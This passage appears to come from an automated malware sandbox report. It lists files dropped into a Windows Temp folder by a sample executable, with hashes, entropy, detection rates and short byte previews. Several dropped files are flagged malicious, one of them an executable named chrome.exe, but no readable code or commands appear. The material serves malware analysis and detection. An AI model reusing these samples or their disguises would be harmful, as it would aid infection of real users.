Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	395006
Entropy (8bit):	6.112132319847178
Encrypted:	false
SSDEEP:	6144:Rtez6Z6MG3TuYDBV6fdr3cyjBmEIsD59T6JRQpr0lQ3J:3gK6M4qYDyFr3cyjos0y3J
MD5:	76062A518A5A8C3BF61D241B7B7C4B33
SHA1:	A49EAB951C101C82496EC68559035DEF84D219A1
SHA-256:	B5C09DB728D196583B96425F5A813859DF377299A6DCF5CE7538CC5685E6AFB4
SHA-512:	F6A8DB0A36FE8181F239A09EFDE3FF7A68C56F500BDE654760A187CC8BAB8F0E5D2E24B4FE30867B7519BB67BC1B6B0CF9F47FFAF7C0474E2210761FF4CC06BA
Malicious:	false
Preview:	..T.i..x%..>4...4.u.`.=t;P:...v..xg7t.k...B...B<.......D.{R.A...b.`.].-...j.yg.....C..a.((K...j......_.t..@.1'.....R......e..7....n.9P[...t.......m.7..V.."..V+t..4}F..nh~.. ytj..a.....7.4..0.w....J.h.9T.x..7,.;$.......#...q[..J..z.f.....S.7Ao5....K...q.6./..I..`.......v.E.T.b.....+Y...vr...7.x.U.........x.w.nB.......]]..%.Xk(h..s.F#X.80S.........?..j..H{..........bR....L0...N.x..c........H.z..3i..E.m,r...#'.6a...<.->..l.R..9.zcB..<LY%OK......P....{.........'..a..V.$s^.}....$..hu.....D\L.:.!xB..:.Q]....4.-.:.>.%.......>p.HQ...4....}.Z...f...a.......T..2...6G.e%......c.g....E\|Iv.3+q.8?M....0.V....MM.........'.ov...;/..p..H..V\|/!'8X.........-.v.r^.Q7\.E+f..x[.........y./...v.....]$...,.M.HA;.....z..}..0,#.2..F.-.Cu.2j..k....2..1.%...d..Qkm..."....!...T..q.A.......-]7.....1.YKf[..H.\|}.6.f.s...'..[...2.$.$.e.L.}{..."jH.D..Y].K..e.......a3..\W....W\|..[.L..b.....&jq..AP..Y&%.Z......j..y.L.md......nAT....t.RV.....v.I+..b.M..85..F...Z.....Fua#..@.

C:\Users\user\AppData\Local\Temp\chrome.exe

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.998660441064251
Encrypted:	true
SSDEEP:	3072:GmlJ22H+HRbYUPe2ZhARP0eNfNh2cJf9+6KOgBCeS1H+M:GmfBH+xJPn+P0qff9BssL
MD5:	98DD0DE1264E1B9938D4E2C4BC8BE6D2
SHA1:	491119739D348120DA5DE3B41056BDC8F13671E4
SHA-256:	7C527D7540B37CE79B45122EC528A38BBBEE3FDCF4BE04CFBB69D4EAF2BDCC5D
SHA-512:	D52767BC564F05628A0AB8F9DF87D09DC3C7D251F9649AE87E914BE689F69FC7D1958A6BFCEC107E4A12EC8696ADB9EA74201FD06A2033D38C1A2B977BE90D8D
Malicious:	true
Preview:	MZ...4....$...]....;'7.....N.r.k...gh7.2.m.K..u_.j.f..YBN..j..K......j...W...Lf..N,..A....k..>4...C.;.Pu..QeV...h.-..U....$.nR?....&...>G.z.(u...V..-..A.:z..u.6..p...[....\|..TU...UH_].0.......&-.f....lVF1. ...K...K+.].~...3..-..x.k.[...F.!.....lw.AVr7S...1.....+.M.m.........."..5..L...4NJD.L...N.N6..NL_....#c....R...F...^...G..P.f.vDx.....B...gq.T...b.sM.2.V.y?.m.A&L..K.j.............)4h..aq...H/.../-l...S.V..j.....A..V..&...STJ.....T...6u..t._./.....R..N'.....f...Ll.......kS)....C...m.9....M[r.%..4'..(.....C{...Z..&......dsM...I.tg.(.............%Y.............:X....{...#.n&m...4.`../V.?....&HM..w.E...."..EA.&....p...8.EJ.2.zV...t.Bn..X.._..=.c$x......H....3..e.(#.....e.@. a.F\|...A...r.....Zz.v..N.u.bg..Mk<..x#...}...a..k.w...\..z.L.4.o..(.../h...)4..UH2....m.....H.i.hl..s.5...-fe.7.F.}b..x..u.09.&6..WT..I~.....(."=.....z...l.7.\....$..D.....t.yJe..C]..'`e...!&.v.r3..KR<.........2..Y4`tjD...E..m<.....%{.&.I.A.%h..U..BL.6...F

C:\Users\user\AppData\Local\Temp\chrome_installer.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.9684431953285575
Encrypted:	false
SSDEEP:	192:iTA6hI1MTwru7NYwKKej4annavCAoC/RAC:iFAM0vbKuKCS/T
MD5:	FEF363B0F4316584FF349E654F4E8FFF
SHA1:	AB3BCABD89B5D0F34D1BF4F8296D9D889295F502
SHA-256:	CB28419B04BB6965D511D924A8117AF1229046C681D9DEC8C914C9877E89EC15
SHA-512:	4ADCA0417492EC60700C503D0551F112929C65437EF875B5BD0BF2B12C8CFB22EF83A1CDF32B924D2C2BFDDC09D46CEC43A56E718E98053D6ABF52503990AF96
Malicious:	false
Preview:	[1005."....,c..prG3vj.......`...:n........h.(...J."mS........eKG..r..v......X.C..W.0<..@.6.mST..T......H;..].....?...b......S..s....gP .:.zv.\.h6$.E':......N..[u..xV.!..s\L...\|p@k....\|F...>..~...X.4#.}.j.Opf.N..w'\..-.....".S[>X..J4W.....D..... .v.^.................he.fD._..7.....n.0IbN..^.n.:....u_3.O1..a8e.....M:~v].4......xR...J.>.....?..N.7i.E.}d...&.-q......=......s.M'WHVt.!...Wk..W)[..._]..!...........S.C...>jL.~,M.c..G..v.q]f].Sn.P.!B.`.G6..k.&..-u..LH...t.y.ne...E...0..,.S..).Nl..a30j.(.C.7..4..ur.1.\K..<...a..?%.. ...(e.n.....6,.5....[O.dn....a..=y..g0.w......R.....h..D.....c..n15O.i;^...&.....Pc....q.....K.....2...........i.?8...Yya.`.mI..........fhT.. ..s7........'.......AFX.\C."...<.T.g..2..ua.....X........$]R.RR(t...+....NW.....+.n..&.W.Lm..yN4.}..$o=.79.pY.,p....u....GhGb..N.\.{..A-.I\..6w.ij..B..tw..$...{.=.....q:is1..%\..J}.;n...o.D6.jg.....Yv....~.n...}Q..:iI..R......<...Y.JR.^..@..im... .5v..X.=...5....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1401
Entropy (8bit):	7.847141314563504
Encrypted:	false
SSDEEP:	24:YHX60McxY7XAT7tin/a/jxZYCeAIxrRMw0elGyTGVraDYy64BOiuLFz/g1f6r0Ou:YHX6oIAfSAx9eA6flfTGVmYhLFzo1yxu
MD5:	336376D9920333121F34F92E1D694E14
SHA1:	33234BB4DC895A1C974076EF71E0D20D3324FB7B
SHA-256:	BCC62E3D0BF6E956C7982D496989040C9F07BE251E9146248277D8E202ABB440
SHA-512:	BE74041A6F79FB67A2A95082D82814FDC0AD0F52E3949D08DADBE521716B1DD45EC0EC06A54567E1D6F9D31DA9F5CE19DE7AFCD139682D5EB90A8CB767A8E174
Malicious:	false
Preview:	{"log4.).(.d..f.^'y.+i...3...:7i....d....2^)..\.-.jA79..R.?.C..6..9.#..Y./..av.....Gy.#C...+-.(..i%.....n=.?v...jw+...\/..f..^GB}@...x.?<wj.E..l..%.,h'2.k.....E.D._[I...I)...=........l.Vm...]@..A..~^........-.c...g.s...\W..J.U....jC.y....4>o..83W..Z.......pH._.;@ .....Z...^@..~<Y..}-.....0..1[+.,=.K.ld.P.Y...#.+....G..\V....Fk..vs2_.`.E..p.g6...#...~.&E2.^..9....&J.j...8../4...H..0...].f7.......+..6...T.p.^.l!.k...6....VfG6.9.U{....=........"$...}.Zqo. .%..+.d.B.1.^.R$...+..`GC...(.b@..C....r..g.5.....`......47z.k...=.Bt.;.z...vb<..j@h.N&V$....0.t...\.1........l....Q.S...p..@E0...0...Z;.....\..R..u.Y[Y{R,....eZ...EO&..9..C ...'...<,....@.n..=V........E\|d'~.vma..Y..S...&..`...L,......4z..t....+.y..L......f.E..Vb.....r...w.N..a..D.`...a......v.o-P.X..+9......&...b.;.h.(h.?zLr..w...^.5..l!.o;.0...:.:..8....=..FG%F....#..%...E(._^.....et_..P>....('h.:P.YIQ.lE.Dn..-..zxv...Q2...6.<v.='#*.F:}..~..&2R...(~P...a...B..f^..M\|...[.?w;..0..^.M

C:\Users\user\AppData\Local\Temp\jusched.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	7.806303264801857
Encrypted:	false
SSDEEP:	24:o0eRNQNLpayx2ZELjiDCdg0g+loqcZCdAmD3zbD:o0eRNQtpaWLODVulfT3nD
MD5:	EF3B71E091E7A761F380ED67266B65D6
SHA1:	057D2F788BD83749CF94ECC7CC94362693FBA21C
SHA-256:	AA1A9CBC88D8ADDA9A2E7C7A39EF14674A03CF26A8AB520A4BC41967556CB44C
SHA-512:	D2F709F026CD9E5CEB3A3F3CF05C6785F3321E6324F4ED490336E8F851F2EC07ACF68F382E95E4B964EDED2799D09769E016FA9E06C34FD4D5CC352FEA446346
Malicious:	false
Preview:	[2023..7N..p..8..E...F..E..]yz...:.N.a..Uy~.$]!..e".hY.f}.Ih#..H.1.A.Y....a%F.].3.Yc.G60...g...G.CU...&.o.4...8...=....@`..W..?.].i.s..9.d...)..T...'}.......5FP.ZN....h$.....e.B7_X..7;..m..8...u..Z ...j.).....c.S..{..w...~eg....x@.....R....d>gb...w`i........C.4v...F:]....E.G>..A..s.G>.}.\...z1...j.Q.@.u. ..A.l:%...j.\...Z...I.. .....b.,.......R......./d...D.z..-.r.+.....'sLUL.....c....v.+2...v../....&._.QQ.8...... .-..1.........a.q..g...0N.O._.mj..uy..z..ab~K.....f..3....wf./@^G.......f.0./........Fy....)..v.i.#G.-.q.t.}.o..M.....Ps.Lt.)..;.=......E:...K.K.f.~]O.j."x...... o...0T.\.oq0.......A.......l.US.... =..P..1....!V.fq...."zF.v...D.x...KB.C..V. ..I.s.j.b...D.R<_4...[%../...;O...oN...~..u.B..A.V./........v...jlw.G.....&...f.g_K...OYG..."..' .x9..]Z......F_..q..P).^..F..?.tX..~@v.Ayr.?..fz...T..N1.8..$.......Zj..D3.<.....e...`..u..V...r{F.r]....D-..B..hbv..)..KX}......S#..;.9.&O.......a..v.cI.7.....o.R....WXi0fXrUHVihm5xsI

C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031075575407894
Encrypted:	false
SSDEEP:	384:IXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:gQGPL4vzZq2o9W7GsxBbPr
MD5:	F7D21DE5C4E81341ECCD280C11DDCC9A
SHA1:	D4E9EF10D7685D491583C6FA93AE5D9105D815BD
SHA-256:	4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794
SHA-512:	E4553B86B083996038BACFB979AD0B86F578F95185D8EFAC34A77F6CC73E491D4F70E1449BBC9EB1D62F430800C1574101B270E1CB0EEED43A83049A79B636A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: Fantom.exe, Detection: malicious, Browse Filename: FC8BD535BF98089640F0589D3FE30FB55B1287278F9B42D66C91D397E00BA23A.exe, Detection: malicious, Browse Filename: fax_390392029_072514.exe, Detection: malicious, Browse Filename: F5D89DECEF6271D813BE49A3CB4C630364CBA87FDE4FD9BCE81821479D1E771E.exe, Detection: malicious, Browse Filename: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, Detection: malicious, Browse Filename: F891E10C9A7B6D0CBBBB6B3D103CF3DC935541430C5363648E6E1A3203BDD76D.exe, Detection: malicious, Browse Filename: F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe, Detection: malicious, Browse Filename: Endermanch@SecurityDefener2015.exe, Detection: malicious, Browse Filename: Endermanch@SecurityDefender.exe, Detection: malicious, Browse Filename: Endermanch@Vista.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I.>.'..'.>.'..\.2.'.#.(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	12246
Entropy (8bit):	7.985375712172175
Encrypted:	false
SSDEEP:	192:gAiRQX+5xcXOu/zfccE0crkX2Us7JL/ULD96bflM16rkRRGv11DuJ49RZN:mRQO5xmOUzUb0crTUsVwwbfG16rkvkdh
MD5:	E26EFA0F265FAE6EE2BC21E802922A42
SHA1:	C49F2887B038BDECFEE2A5149AE98841233F1C17
SHA-256:	1A79A25B319E7FF120B6AA5632CA3891794C7AA6064187D7A5A31AF17C04FDAC
SHA-512:	337952A3D7EEF31B2F1964CA93D0F0DE5DBF51EC2AC55A938CC3B5956C9E52769821114C6B9DEE062172A413FEE78DB01EC1DFF5EF03A8CEA266C0D66B4E2454
Malicious:	false
Preview:	[3476.lU....B.....r6..1......!j.....I.P%b.ty.u'm(.....`...X..2........h.6;.w..!.sPd.Pv.w.n.....[.......,B.0E.X.,..dL.F..........A...O...+.:..]..5..]...`.'._.._+...Po}...)....Q16...5.^~..i...d.;......eu.....o.6.{....Q?)..u.@(?...3....~y.5wL..K$R 7.=D..?.;O.F,.^.TH.7.F...X>.[>.a.P.....7.g.?..}g...........A.....>=..5e......F.....H\G.gW.nr_o<..X.!..iR.-r._.......]}..zY,..4...h>vY#..D...P......)L..0..Y.Np...f..4...(.c./..o.>....7.!..u....%=\...R.E.....U'.F.t...Tw..3.C.^...G).. R.en.v.F>g@.Kr.....B....Z..\|7...~..O....r.....l....Qx...".kn.x.....xW.~Z.hi......P8.....2....9.\|\|.....(!E..K...b.<36...#<V..e.....v.5... d.....5.\|.M..@...!.../A.^+....`0..ceab.0..&.E%..Z...y..s..g...D.A....3w.....\`..T$.......`=.t/..U.w......k..@...Lc.j.h......X`\ y..@?.:...U..J.$...z......h..........=nE.4.......=..%R...5:,.,...x.J.y.Q..F..}..\|q..).G...DP.n..5..Y.....h.....>O..q..2M##.BXb...\|.~w&ZC\|.....o>k..0:U`... ..8..F{..u.Y.9...E\|B....cK}.h.j.,k!}. $....6\...k.

C:\Users\user\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996867849302434
Encrypted:	true
SSDEEP:	768:YxR2Y0RjK1KSGT4DLYd7GQVzQtQH0dwmfe/nFw0AZcX4AXiLwJysjEMVKlqd92Nw:URGTSLYdltwQHDeBANnlV3oaKtVpg
MD5:	D20A2FC1B8F4A11368CCA033714CA4A6
SHA1:	1B539773C6F14DFC6615C5C2C67CE15C84B343AE
SHA-256:	C920DB750DC743E58AA794BACBCCDEE688906EEF8E61BC3A4AB053D28C56809C
SHA-512:	99BA12CCD16583E8EF5D66A0712B8D25EB27E5FF71F46FB0F18419ACF91A68FA4BF34117B90DC2D121D2FD199FE83666BA8401303861133AA9649A7CA4080D19
Malicious:	true
Preview:	1G.f.[t..P.j..X.j"Wu. .4.{GP...A.MRW.>AU.0...m\|.....v........-I+!..k.}..T...S.G...e...{......2....G....+....D....\|B..f.]z........6.t..D.....ys.f..D..v....e=.}t...s...!..Dl.c.c}.bX.G..<......U....".......{.......].\|wR.3..9...eO.^,..-9..k:i.~.B....u.....Z~.40q....0.z.\|...y..>.....zk...Y'...VM..a...u.k.s.\|.'..P...+7+.84 .c.......E..}U....k...{......8{G./.F.~.........!:.5F\l..x.N.#....SY...:.\|)..>..z..K.J....R.....G.h..Oc..}..'n.(a+..l..p.M;7y3;M.....)y..T;....d5E......o.:4R.u...".&r$..Fx..m..?...]"M/I..b..z....-...].!.{...>...O5....Gx~.HQ..xD.....fX.L.h...VHI...d.x..e.3..J....7.q.E....udT..8......@.....B....!.....T.9S$.f.o+.q6?.c.%%..{R...?....R@..$hRe...@...8........w.d5..2....2[...DJKGJQ.s.8......q....5..%.u..!]...<....2wt.0.....+Y ..H7.#C..<.......bi...kt...t......A$DZ...{U....H-..;..8.wQP+...=.....^....e..qCb..O*..d.zr\|..Z..2.8pu...o.B3y...YN...y..WG\;....G.....d.{..$.{..y...T.S...]y.SE..pF........e.....k.>,.?.W...;..X.K.f.C.)g#[.[yY0

C:\Users\user\AppData\Local\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.797135729656602
Encrypted:	false
SSDEEP:	24:y6sKef0GbmlsZqydBoNnf/UuDtOYKBLnOibVprLuGmQ3zbD:y6Pef0GnZJdBY3UStOYkqixJLuGB3nD
MD5:	AE2EC1D28F375B222182083AAD1B2EED
SHA1:	5F1155544E79C95BCCFF336556D83353DF64A67B
SHA-256:	1E2AECBBA90E96D21D4828A974B9246344113D1204F5AEBA7D2ABA7FB594BDA1
SHA-512:	4AD8F5281D47701CC3A3994B9619C70CBAC4C80DFB8F682FB884ADD2A26664F9F40FD86DDD8A4D86F0E6CD1BE4C4E5C6913FEA5656AE1ED1A19AE2D9FF3CFE30
Malicious:	false
Preview:	RNWPR\dKX.....C.b3.....+?........lzTK0.A.8tK....=...>.t{mW6d.1.....pzD.g.:..>...O..3..8...%......k.d..;...e......Z.6K.j..?.......u..y..9n...UH..5.... ....]nd..$..HFug....HAIS..2y..d_.....Ju..{Q...CI..`.&.!a.~..\|.:..O...LL1...........`....a....eY>...6.i<.T.W.lNc...>P..wjR=.UZ..~....[p..{......{tM.!QN.Vy..N.-.P.+pvU0q...n...!..dH...5f..p.=.Bo.8;"../it'......d....@.-.....q.P.!.....,...T...K...,......T3......a......vI..v%..O..lk.:...~.%..-._..+.7XM.....-..^v.}d..>.Z...F...@RiE...g...8J..U.=g~........:m.Y.F.L...2...p'....Kl....?&.-..>...,..Hy..T...\_.2..d~..B...._.p/.#4.~.6zc.s#L..B`6.....G.8{.R......D,lH.s...6.T.S}.B.8h..(..[.....E....E..5.....t=ql2.\|.z..../.....A..'................>....".B..N.}.`P4...5..b...Y..Hg.J....*.H.LP.o...;..y7.'=......t.$..d.B....j9q.."UoKe...8.,..j..%Xf.Z_..^.....8..c.!.Y...k..8........=....D..1>z..e....D.M..G6cB..A..o\..s..+)q1Bn.SM(:...v.\...=.8..s..Q.l....8).kL.....i0fXrUHVihm5xsI9Icg243YMPJqd748Oc

C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	662029
Entropy (8bit):	6.820469398048323
Encrypted:	false
SSDEEP:	6144:EObSoNPt05Wx0tuA3THaVE/JM90LOfjdQbZzYWClaQbR1rDkQseHEHFVtJ4khrZn:7WM910LSybBObDkYo79
MD5:	ABB1A984959CF6F321083162E8BE91F0
SHA1:	DFE4CC17B12F242DF7B168BE8CD37400793E2881
SHA-256:	E4724084EC4D8EE9FA1AC4DBD7330FE27D03B6AD83ADE3B6D6722CEFC232969E
SHA-512:	A01A534C0AB7E7DCF5EB8689509EEBF1A0D78E04D3933ABB17BDFFD99E6E3870B3C0FA0DB510AC8F378C1607361BC2BE3017EFBA6970C7AC40B050882BEE4ED1
Malicious:	false
Preview:	RNWPR.l....NO.k...7E......?a.^r%X.x]..S..@3o...@N39...7...e..d..J.E..rj...A.PJ.m..L:{.[#..p........M..?..b.........r%......).v~."#.MS.NN...jV#..Eys.(...UA.....P.......:.......b.A.r@N..c....m.N....9...p:.P$%<..(..D{....E&\|...V..2...T..x.zA.9.....O.!..\.a:..S.{..1..V.s.Y.fp:..o..!....%X_N.HR.Nd>$...5.V...U"A.N-q.O.A...$.+AV.X]aY0Cc....}!.+8.jy....^.+W..f..X...h....WIC...6.C..F...$K.K.hB..\|....Q...d..K..n....N...}K....,0@2. .@1o.@...:._"..7...IJ.B....[.;.OP.$....O...+H...R-..1)...Us.\.....PjGt..[.P...C.Co..... y.(.Z..x2...B..'.Kax...Z...+.....:......N...L\..g.!.XQ51}S..n......2z.[`.b.~....2>...%....(...<ib...b..pJ.v3F.........x....&Y=.*.M.....m[...$^A%..%...5F....e+.Q}Q^8...matv....q.b.t..........d.hZ...AR4..X..../.p.O@oX.d........Ri!@..~..o.s.a.p..`......u..'uwe!..G.8.'..5..Q.o'....BB.&E.j.IBJ....P....=5Q..]...[."....3..s?!..F...a...S%w^.....?;.fw...9..q.i...>1Q.L..1..Ia67...".....+..b....SW...X &..x........U{..c)J.t.[....R...o8......\|.

C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	193301
Entropy (8bit):	7.870311128927681
Encrypted:	false
SSDEEP:	3072:Y9wz2xLuQydo8vcKq2v4CB1530lELozU7TOfiw2KxiKwthrqQiY6v7G1rElDbJ4i:2580QJyEh3KO7rqQ8wW8+
MD5:	91A09972EC4CD5FC8B540376A61DDC0D
SHA1:	322E0AB23555E5FED53DF093DF276003F6F86A36
SHA-256:	5A819C89EC0DB810CDD3E4495C140FCEB1E4681E071A53946D197BD7A227CCE1
SHA-512:	5EA6FC845BFC58340C248132D8E5FF61BA6F061E1349A3034066623182BB211BE62132F81FBBDEFF010C17A69CB61B0D6E93AEBD1F7AC2EEA396D370207838C1
Malicious:	false
Preview:	RNWPR.+.4.q."..7...w..!(..14.uB.....K)C.C~6..Z.xF.....xF...:G..!.7&i..0.2.......W.M.6H.]p...........6..\.Q\|..K.V7......I...O.,..l.c..T..:......b....K8.\|..?.}.xX..i.a"h.......~.uY.....]#...... t...$....M./bR.4.T.Q.......I.a.b..) .....O~..Cz1..O.#j.A.....Zl......"+..qg.E..z.ACn...T.]....Y..T..M...fJ.^......).1.O0!.FG.t...,.W....#..A...!S...9.4 s7(<....ur...i^..=).F.L.@..}}.0,2....J..)...........].)O.Q.I...\|......GP....lq....p..s..8.y.^..ho\.)f...s..k.P.....N8.R3.^j..7.z..#1o....w.....6...ON...8[q....\.E..JY}...GW..C....d....#.Ni....%.~.j6.+.."..t.s..]...n]..ruEt.8Ff....L...K.Hb.....m.l.w..+...'.)........x.3.........z..kY...b..:.&.......#...U..2.....`.j.].....<O..E.Op..gI.MEd..Y9\T.\..n...y.Ev._w......\|..T.I.F...o...Z..d.+x.]...)Rk.[..m..N..0x..'........... ....h..J...zS&.n..1.O..\.....o..(.V.,...f.M#p+0*Ry........tD..._.x...(..E...W.@.D....m.....dL...I\|w..%..Wh....U=O....&.PPp....E2z...3.......".P.Vl.m.di>)....p+A..(9.r..;.]ZD.

C:\Users\user\AppData\Local\Temp\prep_ui_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	240217
Entropy (8bit):	7.547775018932331
Encrypted:	false
SSDEEP:	6144:ZPwNrZyVeLRNdLJw7XtGLuHSaF1YUQHqBcbJJ8IR6:ZPUZee1NviXtGVTUlMQ
MD5:	DFD8F82DAD40A818D0ED036E1CBA7B6E
SHA1:	67430943AE298FB7180A1644EE29558A04F69939
SHA-256:	EA9C79CFEF5B3EC755700362159821B25C52ABE05940C5E544F1B2CA6C971818
SHA-512:	500782EAA12F7636C75D238D6A75F199E2E87516E4248EFE73B9CDBEE158C39505374F7970B7C7B7AC4FAF2FCEFC295F39003FA63E55B702F691AADB6FC96B76
Malicious:	false
Preview:	RNWPR...U.=...p..v`.w%I.,Y..Hs0.......I\|~.....Z..G.nbk.\|.k..a.....@.A<.a.,.yU>L..f[bD..:.AG.....p..1q...#_..zc.../...5d..g-'....k...JA.k/......t[...Lg.;..I`..lk#.G..c..."..\.........7.A....c1Q...U.(9.BI..hm..t..P.:l.&.R..~.........ll.)6O.`.4...4.....S.j.mm......W.>.....0...3.n"..:6..f.....#"..s\....=.Su......`..(.....A7~..s....%E...p......M.=......9.UF8.aL...V..&.:#.E.5..v./..pF\..#g.#....(.N...\|`...J....\..L~k~.F.`......z.v.CW.....3P9....A.z2e...[.[.....X..A&.,]iS6....('t..Z\|(~MD.../..T..~.iW...^.U.T ..E. ^.lS#.f...9.>m/x....c..%.".`;..N.....N._.&...?..k..:q...W....].L.n..0.*?..{u%......2.a.0.]Z.W.......s...s.\C.../....a...@&.`......a....q....D..W.!I...w.z...)....iA...aY..s.0e.AcLO...:n...;z..5......Z..0...:...S.....1..'.Fr..<....k..0.....1..g.....Mu.a..yVs2$..4i.eA+%X..@........8n.`..~R^V-;K..u..5.x.5,........F..v....-V.v../G..1]<+1......?g....^..e!t.XDn.t....)4.c." ..?...XnK....\|..H..hQ..V.,.x(.]....6&..a.._.i@..G...t3#

C:\Users\user\AppData\Local\Temp\tmpDC32.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	793422
Entropy (8bit):	7.614769118692331
Encrypted:	false
SSDEEP:	12288:m42H2SiL6+22TRzWQs9YC3VSZyw3cZY+0SOjwlXLzHYUKTOsh4:hyRiLr3TRzYz3VSZ0ZE1MlbzHYBOs4
MD5:	5825686598EE60B04D6D033BB7EA4760
SHA1:	10C8EDDF9671C8BC90CB89478F1CC3BC1BBE83C2
SHA-256:	2752B95429FA63B1D20EB1A9512F96557A7308F815210DBE98A606DE0E6B2A6A
SHA-512:	2FA6D9A581DED50B76E2BD1CE05E291713B116505F5D31E3B8823B37679FA6CCDD636887D75E0E1698C1720DDA32AC1C7E2D6B861967C9A5CC450B702CAF02C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......u....K.H..1.6.Xm.YU.C..'%U.nS.!RA.....:f.dU.&.f.y...L.2)!7.q.\|.~GO......I.h........> ..2.D,....EX...g3..\-.:).\g...C.......&LiPf4..,7......=....1_.~... .r....'.......`-!..s..A..!..;F..k.^j..o^.p..}..:in6.p..'6vB...?}N.d..qz.HY....r.]O-.O.d....c?"y...=RU...E0X..8.Yp.m...s/M"k.iN~....NV^.6b......-.....3.1...>..:....}.......>cu..X.....0#.D..n........`x..6.._8b.i.....%.S....@l7.OU..p..O..>./f.(Hc.....6..qC[.Q..`&T.......7[...{p$.v....7...#.v.WzG..Ulh..R4G.Z..A1.x.+je..P....Q&.\...fa.rh.L...Gk."Ow..m....k.;....i.......{.U.:i,a..0....3UcA....O...z....h.5.".8..^../.n.\|4..q.<s..>Q~.....&..CAC....4.;uHL....;..7.Q. .1..s....R...xJ...Pb..........c,.....n..\|....f.r`.T.X.M....'.......32.TmH....n.-...{....{w.N9.,..'..b..1s.....4..^@}]...m..r~$]....O..U..3f.8J...0.7....h.6}0G.<;.h.....]..M.....b......d.y..v...}v >&.8y...V...p.r..b....e...V...(.?..u..`S.,.8.I!#.+.u.b.'M........?..wf:....jAB.. a..f.8.<..,Sly5.;........J~w...:. ..`.8sEX9.

C:\Users\user\AppData\Local\Temp\wct1451.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.997610684331055
Encrypted:	true
SSDEEP:	1536:RYw6dc5+wsim2X9ADS9fGLbGhocbobIM3b2kYy3jwNKHRhyr7mQz:RYw6dc5l62fhocbokM5Tj9HSPF
MD5:	51DFC8E5B8DA74BDC92F36D89A4A2FE7
SHA1:	0593AD75426C2159E7665147EFB64A15220047C6
SHA-256:	74741ED34A84D0A18AEE0E8A06F6B9EC79665A737DD9A3D03CED8DBB31945C91
SHA-512:	225ED755C742E2D30E72820EE0B88E190A8E510F645D25A0501A82A7FADA39D0311FE51DB9A9CF44B6DF265B63C002EA0C4205BA192F5BD53F1D1EF6E06047D9
Malicious:	false
